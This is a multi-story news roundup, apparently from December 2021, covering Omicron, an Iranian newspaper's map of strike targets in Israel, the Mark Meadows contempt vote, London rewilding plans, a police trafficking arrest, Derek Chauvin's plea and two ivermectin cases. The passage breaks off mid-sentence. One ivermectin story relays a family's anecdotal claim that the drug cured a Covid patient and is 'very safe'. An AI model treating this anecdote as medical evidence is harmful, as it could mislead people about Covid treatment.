Omicron, first detected by South Africa and reported to the WHO on November 24, has a large number of mutations, setting alarm bells ringing since its discovery. Early data suggests it can be resistant to vaccines and is more transmissible than the Delta variant, which was first identified in India and accounts for the bulk of the world's coronavirus cases. WHO chief Tedros Adhanom Ghebreyesus told reporters the strain had been reported in 77 countries and 'probably' spread to most nations undetected 'at a rate we have not seen with any previous variant'. A promising study came out of South Africa this week, though. The study, performed by Discovery Health found that cases of the strain are relatively minor, though, and are unlikely to cause hospitalization or death, though. People infected with Omicron are 20 per cent less likely to be hospitalized than they would be if they caught the Delta variant, the study found. However, the study finds that the variant spreads much faster that previous virus strains, and can circumvent protection provided by the Pfizer vaccine - the most popular jab in the U.S. Even at low rates of hospitalization, the variant could strain the healthcare system if massive numbers of people are infected. Currently, the Northeastern US is being hammered by a post-Thanksgiving wave, even as looming Christmas gatherings threaten to increase the rate of spread. Connecticut is experiencing the worst surge, with cases nearly tripling over the past two weeks. Around 71 of every 100,000 residents of the state are testing positive for the virus every day. Nearby Maine (168 per cent increase in cases over the past two weeks), Delaware (93 per cent), Rhode Island (91 per cent), New Jersey (90 per cent) and Massachusetts (88 per cent) are also among the leaders. Alabama has also experienced a doubling in new cases over the past two weeks, signaling that this recent winter surge is starting to take hold in the south as well. A vast majority of these new cases are still of the Delta variant, though, as the strain that has dominated much of the second half of 2021 still makes up 97 per cent of sequenced cases in the U.S. Iranian newspaper the Tehran Times has revealed a list of Israeli targets the country would strike if Israel makes 'just one wrong move'. A map published on the English language newspaper's front page on Wednesday showed pins representing rocket strike locations for dozens of potential targets in Israel, as well as some in Lebanese territory and Palestinian cities in the West Bank. The picture was part of a front-page article with the headline: 'Just one wrong move!' 'An intensification of the Israeli military threats against Iran seems to suggest that the Zionist regime has forgotten that Iran is more than capable of hitting them from anywhere,' the paper wrote in the article's opening paragraph. It added that the paper 'doesn't need to remind the illegitimate regime of Israel of Iran's defense capabilities.' The threatening article ended with a 2013 quote from Iranian Supreme Leader Ali Khamenei, who said Iran would 'destroy Tel Aviv and Haifa' if Israel 'makes a mistake' and conducts a military strike against Iran. The full quote used by the paper reads: 'Sometimes the leaders of the Zionist regime even threaten us; they are threatening to strike militarily, but I think they know it, and if they do not know it, they must know that if they make a mistake, the Islamic Republic will destroy Tel Aviv and Haifa.' The final sentence of the article said simply: 'Keep your hands off!' Iranian newspaper the Tehran Times has revealed a list of Israeli targets the country would strike if Israel makes 'just one wrong move' in a map on its front page on Wednesday (pictured) Despite the threat in the Tehran Times being directed at Israel, the targets displayed on the map also appeared to show locations on the border with Lebanon and what look to be Jenin, Nablus, Ramallah and Hebron - cities in the West Bank. The map also suggested Iran would fire missiles into empty space in the Negev Desert, although it is unclear why or what they would be targeting there. It did, however, avoid 'targets' in the Gaza Strip, instead placing red pins on locations along the border of the Palestinian enclave. On the same front page, other articles were also previewed. One headline read: 'Threat and pressure do not work on Iran'. Another said: 'Vienna talks can be successful, but does U.S. want so?' The inflammatory front page comes as Israel and the US advanced preparations for a military option if negotiations in Vienna to return the Joint Comprehensive Plan of Action (JCPOA) fail. A large-scale military drill by the Israel Defence Forces (IDF) is reportedly planned for next year, according to The Jerusalem Post. The Tehran Times also references the plans for the military exercise in its article. 'All these threats and moves come at a time when Iran and P4+1 countries (Russia, China, France, UK, plus Germany) are now in Vienna to diplomatically examine ways to remove illegal sanctions on Iran,' the article says. 'The Israeli disruptive moves are not a mystery to the negotiators.' The Iranian flag waves in front of the International Atomic Energy Agency (IAEA) headquarters in Vienna (file photo). The inflammatory front page comes as Israel and the US advanced preparations for a military option if negotiations in Vienna to return the Joint Comprehensive Plan of Action (JCPOA) fail Meanwhile, The United Nations' nuclear watchdog and Iran reached a deal on Wednesday to reinstall cameras damaged at an Iranian site that manufactures centrifuge parts, though inspectors remain limited on what footage they can access. The agreement will see cameras put back at Karaj, which came under what Iran describes as a sabotage attack in June. Iran had since refused the International Atomic Energy Agency access to replace cameras damaged in the incident, part of an ongoing hard-line tact taken by Tehran at negotiations underway in Vienna over its tattered 2015 nuclear deal. Iranian media first reported the deal without citing a source. IAEA Director-General Rafael Mariano Grossi later tweeted out a statement detailing the arrangement. 'This is important for verification under the Iran nuclear deal, and work will continue to address other outstanding safeguards issues,' Grossi wrote. The IAEA said the cameras would be reinstalled at Karaj in the 'coming days.' Iranian Foreign Minister Hossein Amirabdollahian reportedly said earlier Wednesday that Iran had 'reached a good agreement' with the IAEA. Deputy Secretary General of the European External Action Service (EEAS) Enrique Mora and Iran's chief nuclear negotiator Ali Bagheri Kani with delegations wait for the start of a meeting of the JCPOA Joint Commission in Vienna, Austria December 9, 2021 Tehran blamed the Karaj assault on Israel amid a widening regional shadow war since former President Donald Trump unilaterally withdrew America from Iran's landmark nuclear accord with world powers. In an interview Tuesday with the AP, Grossi warned that limited access to Karaj hurt international efforts to monitor Iran's program. 'If the international community through us, through the IAEA, is not seeing clearly how many centrifuges or what is the capacity that they may have ... what you have is a very blurred image,' Grossi said. 'It will give you the illusion of the real image. But not the real image. This is why this is so important.' Grossi also dismissed as 'simply absurd' an Iranian allegation that saboteurs used the IAEA's cameras in the attack on the Karaj centrifuge site. Tehran has offered no evidence to support the claim, though it's another sign of the friction between inspectors and Iran. As part of Wednesday's deal, the IAEA said it would 'make available a sample camera and related technical information to Iran for analysis by its relevant security and judiciary officials, in the presence of the agency inspectors.' The threatening article ended with a 2013 quote from Iranian Supreme Leader Ali Khamenei (pictured in July this year), who said Iran would 'destroy Tel Aviv and Haifa' if Israel 'makes a mistake' and conducts a military strike against Iran However, Iran still will keep all recordings from the cameras - part of another ongoing dispute between the agency and Tehran sparked by the nuclear deal's collapse. 'The agency and Iran will continue to work on remaining outstanding safeguards issues with the aim of resolving them,' the IAEA said. Negotiations continue in Vienna over trying to restore the nuclear deal. However, Iran under hard-line President Ebrahim Raisi has taken a maximalist position in negotiations. Anxiety is growing among European nations at the negotiating table. 'Without swift progress, in light of Iran's fast-forwarding of its nuclear program, the (deal) will very soon become an empty shell,' they recently warned. The U.S. has remained outside of direct talks since abandoning the accord. The Islamic republic has always denied wanting a nuclear arsenal. Joe Biden confirmed Wednesday that he feels Congress was right to vote to hold former Trump White House Chief of Staff Mark Meadows in contempt for going back on his initial cooperation with the committee probing the January 6 riot. 'I don't know enough just what I've seen, I have not spoken to anyone,' President Biden told reporters when departing for Kentucky to survey severe weather damage on Wednesday morning. He added: 'It seems to me he's worthy of being held in contempt.' Biden also brushed it off when he was pushed on what he thinks about the text messages that were released from Meadows' phone. 'I haven't seen them all,' he dismissed. The House voted late Tuesday to hold Donald Trump's White House Chief of Staff Mark Meadows in criminal contempt after he refused to testify on the Capitol attack. President Joe Biden told reporters Wednesday the House was right to vote to hold former White House Chief of Staff Mark Meadows in contempt of Congress 'It seems to me he's worthy of being held in contempt,' the president said when leaving D.C. Wednesday, December 15 Biden is going to Kentucky Wednesday to survey tornado and storm damages on Wednesday After handing over thousands of documents and communications to the House January 6 committee, Meadows abruptly withdrew his cooperation and refused to sit down before the Democrat-led panel for a deposition. The House of Representatives voted 222 to 208, mostly along party lines, to refer Meadows to the Justice Department for criminal contempt charges on Tuesday night. Representatives Adam Kinzinger and Liz Cheney, the two Republican members of the Capitol riot panel, were the only GOP members to vote with Democrats to hold Meadows in contempt. The vote comes after Cheney said the text messages Meadows received during the siege left 'no doubt that the White House knew exactly what was happening here at the Capitol.' A text from the president's son Donald Trump Jr. on the day of the riot urged Meadows: 'He has got to condemn this sh*t ASAP. The Capitol police tweet is not enough.' And another from Fox host Laura Ingraham who begged: 'Mark, the president needs to tell people in the capitol to go home, this is hurting all of us. He is destroying his legacy.' Now Attorney General Merrick Garland will have to decide whether to proceed with those charges, like he did for Trump adviser Steve Bannon last month. The House voted shortly before midnight on Tuesday to hold Mark Meadows in contempt of Congress It's a win for Democrats in their quest to find who is responsible for the Capitol riot If Garland moves as swiftly as he did the first time, Meadows could be indicted before February. The House voted to hold Bannon in contempt of Congress on October 21. He was indicted less than a month later on November 15. Eight Republicans joined Democrats in voting for Bannon's charges. The January 6 Committee previously told Meadows he may have violated federal record keeping laws regarding information on his personal cell phone and on email earlier today. Meadows has emerged as a key figure in the investigation with Cheney reading into the record Tuesday three more text messages he received from fellow Republican lawmakers the day of the attack pleading with him to intervene with former President Donald Trump. Additional texts revealed on the House floor Tuesday evening included an unnamed lawmaker sending Meadows an 'aggressive strategy' for overturning election results in battleground states and an exchange with an anonymous Georgia state official. 'It is really bad up here on the Hill,' one wrote him, according to Cheney. 'The president needs to stop this ASAP,' wrote another. 'Fix this now,' wrote a third lawmaker. The House is set to vote to hold former White House chief of staff Mark Meadows in criminal contempt after his failure to provide testimony. A panel report suggests he may have violated federal record keeping laws Rep. Liz Cheney read into the record new texts that GOP lawmakers sent to Trump on Jan. 6 The lawmakers were urging Meadows to intervene with Trump 'Fix this now,' one lawmaker wrote Meadows 'We know that for 187 minutes, President Trump refused to act,' said Cheney. She shared those messages, gleaned from a trove of information the committee obtained from Meadows when he was cooperating and perhaps from other sources, after on Monday night reading pleas from Fox News commentators for Trump to make a public statement urging rioters to get out of the Capitol. More newly-revealed texts brought up during the House's debate over Meadows' contempt charge continued to paint a damning picture of the former chief of staff. Committee member Rep. Zoe Lofgren read a message to Meadows sent by an unnamed Georgia state official on January 2. 'Need to end this call,' the text read. 'I don't think this will be productive for much longer.' In a message read by Adam Schiff, an unknown number commended Meadows on Trump's potential appointment of Jeffrey Clark to head the DOJ - which was derailed by the threat of mass resignations among former Trump officials 'I heard Jeff Clark is getting put in on Monday. That's amazing. It will make a lot of patriots happy, and I'm personally so proud that you are at the tip of the spear, and I could call you a friend,' the text read. A message from an unnamed lawmaker dated November 4, 2020 described an 'aggressive strategy' to force certain battleground states to send electors appointed by their Republican legislatures - before the races in those states were even called. 'HERE's an AGGRESSIVE STRATEGY: One day after the election. Why can't the states of [Georgia, North Carolina, Pennsylvania] and other [Republican] controlled state houses declare this is BS just send their own electors to vote and have it go to the SCOTUS?' A January 3 text from Meadows to an unnamed lawmaker read, 'He thinks the legislatures have the power but that the Vp has power too.' Additional text messages were revealed on the House floor as Democrats and Republicans debated the contempt charge In a 51-page report on holding Meadows in contempt for his failure to testify to the panel, the committee says Meadows has 'frustrated' its efforts to 'locate and discover highly relevant documents, even while turning over thousands of other documents. 'Based on Mr. Meadows's production of documents and recently reported information, it appears that Mr. Meadows may not have complied with legal requirements to retain or archive documents under the Presidential Records Act,' according to the report. 'He has denied the Select Committee the opportunity to question him about these circumstances so that the Select Committee can fully understand the location of highly relevant materials to its investigation and which materials may now be lost to the historical record.' Rep. Liz Cheney (R-Wyo.) read aloud a series of tweets people sent to former White House Chief of Staff Mark Meadows amid the Capitol riot. Many asked him to get to Trump urging him to take action Lawmakers debated Meadows' conduct during a House Rules Committee markup Tuesday A Jan. 6th committee report references Meadows' Gmail and cell phone use Punchbowl reporter Jake Sherman revealed some of the texts Cheney read aloud were from him By publicly revealing pleading texts sent to Meadows, Cheney may be signaling that the panel may have found a way to get some of the information anyway. It has previously subpoenaed communications companies. The report also states that panel chair Rep. Bennie Thompson, in a letter to Meadows lawyer George Terwilliger III, asked the lawyer to 'identify for the Select Committee the current location of Mr. Meadows's cell phone and whether Mr. Meadows provided his texts and other relevant cell phone records to the National Archives.' The push for the information comes as Meadows is citing a claim of executive privilege by former President Donald Trump as a reason for holding back and refusing to appear. The texts highlighted actions Meadows had with elected officials and private individuals that would not be subject to a privilege claim. But if the work he performed was official, even if he did it on a personal phone or private email account, federal records laws require him to turn it over to the National Archives the repository for a trove of other information the panel is seeking to obtain. Meadows' personal devices have shown up in several areas amid Trump election overturn effort. One involved his and Trump's contacts with state election officials in Georgia, where Trump was claiming election fraud. 'Mr. Meadows used a personal account in his attempts to reach the secretary of state before,' the committee wrote, citing its documents. The committee, again citing documents on file, says Meadows 'used his personal cell phone to discuss the rally in the days leading up to January 6.' Another Meadows lawyer, Michael Francisco produced 2,300 text messages from data backed up on Meadows' personal cell, according to the report, while also handing over a 'privilege log' stating Meadows was holding back more than 1,000 additional texts 'from his personal cell phone due to claims claims of executive, marital, and other protective privileges' an indication he was using the phone for official communications were covered by an executive privilege that a president can assert. The panel cites Meadows' use of a pair of Gmail accounts as among the topics they would have questioned him about had he appeared. 'We would've asked him how and for what purpose he used those Gmail accounts and when he used one of them as opposed to his official White House email account. We would've similarly asked him about his use of a personal cellular telephone,' the committee wrote. Cheney referenced Meadows' texts repeatedly during a hearing Tuesday at the House Rules Committee. She said he 'appears to have been texting at least one other participant on the call' when Trump phoned Georgia Secretary of State Brad Raffensperger to push him to 'find' 11,800 votes. She also pointed to his texts around another area of the inquiry: Trump's potential move to designate DOJ official Jeffrey Clark as Attorney General. Meadows 'was communicating multiple times with a member of Congress, a currently serving colleagues of ours, who was working with Mr. Clark,' she said. The report itself references 'texts in December of 2020 regarding the prospect of the President's appointment of Jeffrey Clark as Acting Attorney General.' Meanwhile, Punchbowl DC reporter Jake Sherman tweeted Tuesday that he had been the author of some of the texts read aloud last night by Cheney. From a secure location in the Capitol amid the riot, Sherman contacted Meadows with his own pleas for assistance. 'We are under siege,' he wrote in one. 'There's an armed standoff at the house chamber door,' he wrote in another. 'We're all helpless.' Cheney, the select committee's vice chair, read a number of text messages from political and journalistic heavyweights which 'leave no doubt that the White House knew exactly what was happening here at the Capitol.' '[President Trump] has got to condemn this sh*t ASAP. The Capitol police tweet is not enough,' Don Jr. texted Meadows. Donald Trump (pictured in the East Room of the White House in July 2020) held a rally at the Capitol which descended into a deadly riot on January 6 Don Jr. and Fox host Laura Ingraham sent desperate messages to Meadows urging him to get a grip of the chaos at the Capitol Rep. Adam Schiff read a number of lawmaker texts to Mark Meadows in advance of Monday's contempt of Congress vote Meadows replied to the president's son: 'I'm pushing it hard, I agree.' 'Donald Trump Jr. texted again and again urging action by the president, 'We need an Oval Office address. He needs to lead now. It has gone too far and gotten out of hand,'' Cheney told the committee. Laura Ingraham messaged: 'Mark, the president needs to tell people in the capitol to go home, this is hurting all of us. He is destroying his legacy.' 'Please get him on TV. Destroying everything you have accomplished,' Brian Kilmeade wrote to Meadows. Sean Hannity advised: 'Can he make a statement? Ask people to leave the capitol.' Hyde Park is among public spaces reported to be in line for a green overhaul Sadiq Khan's plans to 'rewild' Hyde Park to become a home for roaming beavers and other rare species have been mocked by conservationists as attention seeking. The London Mayor wants to boost nature in the capital, including making the royal parks wilder and encouraging people to plant green rooftops. This week he announced 600,000 of public funding that will go into a Rewild London Fund, with another 300,000 to be spent on 'Keeping it Wild' traineeships for young people aged 16-25. The funding will go towards projects looking to restore London's most precious wildlife sites and create more natural habitats. It will also aim to help special species thrive, including creating new homes for stag beetles and potentially introducing Britain's 'native' beavers to newly restored waterways. The plan will help Khan meet his stated aim for all Londoners to live within a 10-minute walk of green space. However, the proposals have already been criticised for not being serious enough and coming at the expense of the taxpayer. 'What's next, wolves in Wanstead? Bears in Battersea?,' one conservationist told MailOnline. 'Greening London is a fantastic thing, but this isn't rewilding. 'It seems to be more about headline grabbing than it does a serious attempt to make our capital a greener place and all at the expense of the taxpayer. London Mayor Sadiq Khan has announced a 600,000 Rewild London Fund to restore wildlife sites and create more natural habitats for plants and animals in the city London Mayor Sadiq Khan wants to boost nature in the capital, including making the royal parks wilder and encouraging people to plant green rooftops 'Rewilding, by its own controversial definition, is all about removing human impact and allowing nature to take over and we need to accept that in London that is just not possible given the sheer size of the population.' The Labour Mayor is also working with Ben Goldsmith, the brother of multi-millionaire Tory peer and environment minister Zac Goldsmith. He is also a non-executive director of the Department for Environment, Food and Rural Affairs (DEFRA). Mr Goldsmith said the plans would involve 'more wild spaces, more scrub, river rewiggling and species reintroductions'. 'From green rooftops to pocket parks, nest boxes for peregrines and swifts, rewiggling streams and reintroducing long lost native species, our plan is to weave wild nature back through the very fabric of our city,' he added. They would also work in partnership with the London Wildlife Trust to support Londoners from BAME backgrounds as well as the disabled or economically deprived to develop 'green skills'. The Mayor of London said: 'The UK is one of the most nature-depleted countries in the world. 'In London, we need to take bold action to ensure that we not only halt the decline of biodiversity in our natural environment but pave the way for growth and change. 'That's why I've announced my new Rewilding Fund, which will help restore the capital's precious wildlife sites, improve biodiversity and ensure all Londoners have a thriving web of nature on their doorstep. The 600,000 funding pot is expected to support about 25 projects. The funding is open to local authorities and organisations that look after land. Hyde Park is among those reported to be in line for a green overhaul Campaigners have urged leaders in London to reintroduce wildlife back into the city, with Wildlife Trusts, The Beaver Trust and Citizen Zoo working on plans to bring beavers back to London. Beavers have already been set to make a comeback to rivers across England under new Government plans. They will be given legal protection as a 'native species' with licences granted to allow their release into the wild. Supporters of 'rewilding' beavers, following a successful reintroduction on the River Otter in Devon, say 'nature's engineers' can help in the fight against flooding. But farmers warn that beavers could threaten their livelihoods by destroying crops. The creatures had been extinct in the UK for around 400 years before being reintroduced in small areas in 2009. Environment Secretary George Eustice will today launch a 12-week consultation over the plans and said the Government would take a 'cautious approach' to ensure all potential impacts were considered. Under the plans, applications for licences to release beavers into the wild would need to meet certain criteria such as making sure support for landowners and river users is put in place. Conservationists argue that beavers would boost eco-tourism and create important wetlands. The animals could even cut the flow of water from flooding by up to 60 per cent via the dams they create, according to one study. Supporters of 'rewilding' beavers, following a successful reintroduction on the River Otter in Devon, say 'nature's engineers' can help in the fight against flooding But farmers warn there is a risk that beavers could threaten their livelihoods by destroying crops Rob Stoneman, of The Wildlife Trusts, said: 'Beavers can help to improve the quality of rivers and wetlands and the wildlife they support, improve water quality, and reduce flood risk, as well as contributing to carbon storage.' Richard Bramley, chairman of the National Farmers Union's environment forum, said: 'Any impact on a farmer's ability to produce food needs to be included as part of a full impact assessment carried out before any licence is issued. We must remember that beaver reintroductions can have negative impacts; potentially undermining riverbanks, damaging trees, impeding drainage and causing low-lying fields to flood.' The first urban beavers are set to be introduced in Shrewsbury next year. A veteran New York cop was arrested for allegedly trading 'the honor of his badge and sworn oath for free sexual services' to protect a sex trafficking ring that preyed on young women and minors from Mexico. Putnam County Police Officer Wayne Peiffer, 48, and four others face federal charges that include conspiracy to transport minors and the transportation of minors, sex trafficking, prostitution and bribery after his arrest on Tuesday. Prosecutors said Peiffer provided protection for the Cid-Hernandez Sex Trafficking Organization and the Godinez Prostitution Business, which has operated out of Queens since 2002. Luz Cardona, Roberto Cid, Blanca Hernandez and Jose Facundo - identified as members of the Cid-Hernandez Sex Trafficking Organization - were all arrested in Queens on Tuesday. Cristian Godinez, who operated the Godinez Prostitution Business, remains at large. Putnam County, New York, police officer Wayne Peiffer was arrested Tuesday for ties to two sex trafficking and prostitution rings based out of Queens Prosecutors allege Peiffer provided protection to both Queens-based criminal networks that smuggled young women and minors from Mexico with the promise of well paying jobs before they were forced into prostitution acts throughout New York, New Jersey and Connecticut As a reward for protecting the two Queens-based sex trafficking and prostituion rings, Wayne Peiffer, a police office from Putnam County, New York, since 2006, reportedly had sex with young women who were smuggled from Mexico to the United States Investigators say the five suspects lured young women and minors from Mexico with the promise of well paying jobs in New York. Once they were smuggled into the United States, prosecutors say they were forced to engage in prostitution acts throughout New York, New Jersey and Connecticut. Peiffer, who was arrested in Highland, New York, allegedly aided both networks by tipping them off about any police operations and shielded its members from being arrested. In exchange, the women were delivered to the police station, where he had sex with the victims, prosecutors said. Peiffer has been suspended indefinitely from the Village of Brewster Police Department, according to the Journal News. The town is located about 50 miles north of New York City. Prosecutors said they obtained hundreds of text message conversations between Peiffer and Godinez, the New York Times reported. In July 2018, Peiffer asked the ring leader if the woman was 'big,' to which Godinez replied, 'yes.' The cop then asked, 'Are you stopping at the station?' 'I was really surprised,' Brewster police chief John Del Gardo said. 'I couldn't believe it. He was just a normal officer, came into work and did his job and went home. Derek Chauvin has pleaded guilty to depriving George Floyd of his civil rights by killing him by kneeling on his neck for nine minutes last May as part of a plea deal with federal prosecutors that adds another three years to his prison sentence. Chauvin, 45, is already serving 22 years behind bars on state murder charges for murdering Floyd, and admitted the federal charges in a Minneapolis courtroom on Wednesday morning. He was charged in May with violating Floyd's civil rights when he killed him, a charge that carries a maximum sentence of life in prison or the death penalty. Federal prosecutors said they did not intend to seek the death penalty. Initially, Chauvin pleaded not guilty but he changed his plea on Monday as part of a deal that will see him serve 25 years on the federal charge. It will be folded into his current sentence. He will now be released from prison in 2046, instead of 2043, at the age of 70. No cameras were allowed inside the federal courtroom for Wednesday's hearing, as is procedure for federal cases. Chauvin wore an orange jumpsuit and spoke only to acknowledge that he violated Floyd's rights. Mandatory Credit: Photo by Minnesota Department Of Correcti/ZUMA Wire/REX (12646622b) New undated photos of DEREK CHAUVIN were released since his prison sentencing. Chauvin was sentenced to more than 22 years in prison for his role in the death of George Floyd. Chauvin is being housed at Minnesota Correctional Facility-Oak Park Heights. Derek Chauvin First Photos From Prison Released, Oak Park Heights, Minnesota, USA - 15 Dec 2021 A sketch showing Derek Chauvin in court Wednesday as he admitted civil rights crimes over the murder of George Floyd Chauvin also pleaded guilty to violating the civil rights of a 14-year-old boy who he hit with a flashlight and restrained in 2017. Floyd died as a result of Chauvin kneeling on his neck for nine-and-a-half minutes in May 2020. He was arresting him for allegedly using a fake $20 bill. Chauvin admitted violating George Floyd's civil rights when he killed him by standing on his neck for nine minutes in May 2020 Three other cops - Thomas Lane, J. Alexander Kueng and Tou Thao were also charged with aiding and abetting Chauvin. Their state trial is due to begin in March next year, and they have also been charged with federal civil rights abuses. The 2017 incident involving the teenager occurred after the boy's mother called police claiming she had been assaulted by him and his sister during an argument over a cellphone. Chauvin said he walked into the boy's bedroom to find him the lying on the floor, and that he ignored his 'verbal commands'. Prosecutors wanted to include it in his George Floyd trial to show that he had a pattern of behavior that was racist towards black people, and included excessive force. The judge denied their request, and did not allow for it to be presented to the jury. The boy in that case is now 18. After his beating from Chauvin, he had to go to the hospital for stitches. The mother told doctors that the boy had mental disabilities. George Floyd's brothers Philonise and Rodney are pictured at the federal courthouse on Wednesday morning to attend Chauvin's plea hearing A Florida woman credits the controversial anti-parasite drug Ivermectin for helping her father recover from Covid while clinging to life in the ICU after doctors urged her to sign a do-not-resuscitate agreement and restrained her confused dad to his bed. David Lefevers, 71, who was fully vaccinated, contracted the virus in early March and spent three weeks quickly deteriorating at South Lake Hospital in Clermont before his daughter demanded that doctors treat him with Ivermectin. The hospital at first refused to give her dad - who spent most of 2020 being treated for non-Hodgkins lymphoma - the drug but doctors relented after the family threatened to transfer him, according to his daughter Mindy Lafevers. Mindy, 46, told DailyMail.com she contracted Covid in mid-February. She said she isolated and sent her children to live with her parents, Priscilla and David, who live nearby. A photo of David before he was treated with Ivermectin in the ICU of South Lake Hospital in Clermont, Florida David, seen here shortly after his hospitalization ended, recovering from Covid-19. He would be off oxygen treatments six weeks after leaving the hospital By the end of February, Mindy, having recovered from Covid, was watching television with David on March 1. The program was about Alaska when David asked her a question that troubled her. 'Are we in Florida or Alaska?' Mindy said he asked. Mindy's mother, Priscilla, took David to the ER where he was put on oxygen. Priscilla told DailyMail.com he was short of breath and confused. David spent 37 years as an account executive for Hormel Foods and also spent two decades serving in the Florida National Guard. Doctors at South Lake Hospital ran tests that night but did not run a Covid test on Lafevers, according to Mindy. She said her father had received two jabs of the Moderna vaccine on January 6 and February 10. Eventually, around midnight that night, they did test David for Covid and he came back positive. David's wife and daughter immediately lobbied for him to be treated with Ivermectin. Mindy claimed she had used the drug herself when she had Covid. Priscilla said that when they asked for it, the infectious disease doctor she spoke to said 'that's not even approved for usage in the United States.' Mindy added that they were told there was no evidence the drug would do anything. They were only going to give him Remdesivir. She claimed that the drug had no effect and within days, David was sent to the ICU. At this time, both Mindy and Priscilla said, they were asked permission to put him on a ventilator and sign DNR orders. Both women refused to allow the hospital to do either. Mindy then said that on March 5, her father was restrained to his bed, having tried to remove his mask in the ICU. Both Mindy and Priscilla claim that this is a common reaction by Covid patients who are confused and that the restraints are against hospital protocol. David Lafevers, 71, was hospitalized with Covid-19 in early March Both Mindy and her mother Priscilla threatened to transfer David out of the hospital after they discovered he'd been restrained to his hospital bed for trying to take off his mask Mindy Lafevers (pictured above) demanded that her father be treated with Ivermectin right away but claims doctors only approved a request when they threatened to transfer him out of the hospital David was placed on a five-day, eight pills per day course of the controversial anti-parasite drug Ivermectin Mindy's son is a firefighter and EMT. She said that his fire chief called the hospital threatening to do something about it and eventually he was taken off the restraints. Priscilla said that they threatened to transfer him to another hospital unless they would treat him with Ivermectin and convalescent plasma. The doctors agreed and were able to get him on eight pills a day for five days from the hospital's pharmacy. Mindy said that her father's size determined his dosage. Priscilla said they started seeing little improvement by the second day but really began to see him get better by the end of the five-day regimen of Ivermectin. Eventually, they transferred him to a downtown hospital within the same health system after they were still requesting they sign DNRs, with Priscilla saying that the new facility gave him 'totally different care.' 'The staff seemed to be more professional, more encouraging,' she added. David eventually was transferred out South Lake Hospital in Clermont, Florida to a downtown Orlando hospital within the same system David's wife, Priscilla, said that her husband is now back to being the same outgoing, generous man that he was pre-Covid By March 21, David went home. It took him about six more weeks to get fully off of oxygen treatments. 'The isolation through all of this was extremely hard,' said Priscilla, who said that at South Lake Hospital they could only visit him for 30 minutes a day. At Downtown Orlando Hospital, she could visit him for up to ten hours a day. Priscilla said that her husband remains the outgoing, generous man he was before and likes to stay in touch with friends, family and even former co-workers, even if it's just a phone call. Mindy said the reason for her father's recovery is simple. 'The doctors said there's no other way to explain it other than ivermectin because he had no immune system,' she said, citing his chemotherapy treatments. She now wants other people to be able to try the anti-parasite drug. 'It's so frustrating to me when a patient is dying that they're not allowed to at least try what we know is a very safe drug that has been used all around the world in millions of people,' she said. 'There has to be a reason and no one can explain it to me.' A representative for Orlando Health, which manages both hospitals, refused to get discuss Lafevers' recovery. 'We are unable to comment on specific patient cases due to federal privacy regulations,' a spokesperson told DailyMail.com. Wife of man, 52, who died of COVID a week after being given two doses of controversial Ivermectin says she thought about giving him the anti-parasite drug herself when hospital refused but she waited for the court order which delayed his treatment A Pennsylvania man whose wife battled in court to have his COVID-19 infection treated with Ivermectin died on Sunday, seven days after receiving two doses of the controversial anti-parasite drug. Keith Smith, 52, passed away in an intensive care unit at the University of Pittsburgh Medical Center (UPMC) Memorial Hospital in York on December 12 after a month-long battle with COVID. His wife, Darla Smith, had filed a lawsuit against UPMC in late November after the hospital refused to administer Ivermectin to her husband of 24 years, despite a prescription from his physician, according to FOX 43. She had also contemplated giving him the drug herself after she picked the prescription, but she instead waited for the court order, which delayed the treatment. Darla had advocated for an Ivermectin treatment for Smith since receiving his November 10 coronavirus diagnosis. He was placed in a medically induced coma and put on a ventilator on November 28. On November 24, the day before Thanksgiving, Darla had picked up her husband's Ivermectin prescription and said she thought about just giving it to him herself, as the hospital would not. 'In the end, I didn't do it. And that will forever be a cloak of guilt that will cover me in shame,' she said, according to the York Daily Record. It is unclear if Keith Smith, a devout Christian and structural engineer at a firm in Lancaster, had been vaccinated against the virus. Keith Smith (left) died in the ICU on Sunday alongside his wife, Darla (right), and their two sons after a month-long battle with COVID. He passed one week after doctors administered controversial Ivermectin after Darla got a court order allowing him to receive the drug A York County judge ruled on December 3 that although the hospital was not compelled to administer the drug, Darla could find an independent doctor to do so. Smith received the drug 17 days after being admitted to the hospital and seven days before his death. Darla alleged the process of obtaining the court order delayed his opportunity for treatment by nine days. Keith Smith's condition deteriorated after he was given two doses of Ivermectin, leading doctors to stop administering the medication, according to the York Daily Record. 'Tonight, around 7:45 p.m., my precious husband breathed his last breath,' Darla wrote in a private blog post, . Keith Smith died surrounded by his wife and their two sons, Carter and Zach. Early into his hospital stay, Darla requested doctors administer Ivermectin after his primary physician had prescribed the drug before he was admitted. But UPMC initially refused, saying the drug was not part of the hospital's COVID protocol. 'The hospital argued in our case that the doctor who prescribed this was not licensed in Pennsylvania, that was totally wrong,' Darla's attorney Ralph Lorigo told FOX 43 earlier this month. Smith's doctor also argued that being on a ventilator long-term was unhealthy. 'Being on a ventilator for that length of time is extremely damaging. Your likelihood of living is substantially diminished by nearly 30 percent,' Lorigo added. 'Everyday this man does not get Ivermectin is a detrimental day to him.' Ultimately, York County Court Judge Clyde Vedder ruled that the hospital did not have to administer the drug to Smith, but it must allow a doctor or registered nurse to give him Ivermectin under the guidance of the telehealth doctor who initially prescribed the treatment, the Epoch Times reported. Darla (left) advocated for an Ivermectin treatment for Smith (right) since receiving his coronavirus diagnosis, which resulted in him being placed in a medically-induced coma and on a ventilator less than two weeks after onset of illness Darla filed a lawsuit against the University of Pittsburgh Medical Center Memorial Hospital in York (pictured), where Smith was being treated, because they refused to administer Invermectin. A telehealth doctor prescribed the drug to Smith to treat his COVID illness before he was admitted to the hospital According to his wife, at the time of his death Smith did not resemble the man she married. 'The man in that bed did not look like Keith. He was gaunt, with scabs on his cheeks from three weeks of torture, having that godforsaken vent attached to his face,' she wrote on her caringbridge.org website. 'He had a full beard and mustache. His hair had grown like a wild man.' Despite the lawsuit and her frustrations with UPMC, Darla still offered positive words for his care team at the hospital: 'I still love you. You cared for Keith for over 21 days. You dosed him with the medicines the doctors prescribed. 'You cleaned him and groomed him, moved him, propped him up, dealt with every mess, every smell, every trial. Everything. I appreciate you.' She also said she is choosing to remember Smith as he was before COVID. 'I don't want to remember my husband in that awful bed with that monstrous tube stuck in his throat. I want to erase the IVs, the wires, the lines, the feeding tube. I want to erase all of this,' she said. According to the York Daily Record, Darla had picked up her husband's Ivermectin prescription the day before Thanksgiving and contemplated administering it to him herself. Ultimately, York County Court Judge Clyde Vedder (pictured) ruled the hospital did not have to administer the drug to Smith, but must allow a doctor or registered nurse to give him Ivermectin under the guidance of the telehealth doctor who initially prescribed the treatment 'I could have given him the drug on the sly. Yes, they would have caught me,' she wrote on her website, describing how she could've have prepared the medication in a sterilized cup and snuck it into the hospital. 'In the end, I didn't do it. And that will forever be a cloak of guilt that will cover me in 